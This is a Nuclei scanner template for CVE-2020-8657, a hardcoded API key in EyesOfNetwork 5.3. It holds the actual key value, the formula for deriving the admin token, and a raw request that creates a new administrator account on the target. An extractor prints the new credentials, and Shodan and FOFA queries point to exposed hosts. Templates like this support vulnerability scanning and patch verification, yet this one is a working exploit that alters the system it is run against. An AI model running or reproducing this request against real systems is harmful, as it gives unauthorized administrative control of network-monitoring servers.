id: CVE-2020-8657

info:
  name: EyesOfNetwork - Hardcoded API Key
  author: daffainfo
  severity: critical
  description: |
    An issue was discovered in EyesOfNetwork 5.3. The installation uses the same API key (hardcoded as EONAPI_KEY in include/api_functions.php for API version 2.4.2) by default for all installations, hence allowing an attacker to calculate/guess the admin access token.
  impact: |
    Successful exploitation allows an attacker to create administrative users and gain unauthorized access to the EyesOfNetwork management system.
  remediation: |
    Upgrade to a newer version of EyesOfNetwork or change the default hardcoded API key in the configuration.
  reference:
    - https://www.exploit-db.com/exploits/48025
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8657
  classification:
    cve-id: CVE-2020-8657
    epss-score: 0.91874
    epss-percentile: 0.99807
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-798
    cpe: cpe:2.3:a:eyesofnetwork:eyesofnetwork:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: eyesofnetwork
    product: eyesofnetwork
    shodan-query: html:"EyesOfNetwork"
    fofa-query: title="EyesOfNetwork"
  tags: cve,cve2020,eyesofnetwork,hardcoded-key,kev,vkev,vuln

variables:
  key: "€On@piK3Y"
  userid: "1"
  username: "{{randstr}}"
  password: "{{randstr}}"

http:
  - raw:
      - |
        POST /eonapi/createEonUser?username=admin&apiKey={{ sha256(md5(key + userid) + Host) }} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"user_name":"{{username}}","user_group":"admins","user_password":"{{password}}"}

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"api_version"'
          - "200 OK"
          - "A new user have been successfully inserted"
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200

    extractors:
      - type: dsl
        dsl:
          - '"Username: " + username + ". Password: "+ password'
# digest: 4a0a004730450220124588e64b6e31c3ba44a73829d97ec3a4b08093fe4cc4d1b11e2216326ee885022100865a0476521e1d9b19cb4d88ce4ad3767f645c43814e9c75c2b0545341db94f5:922c64590222798bb761d5b6d8e72950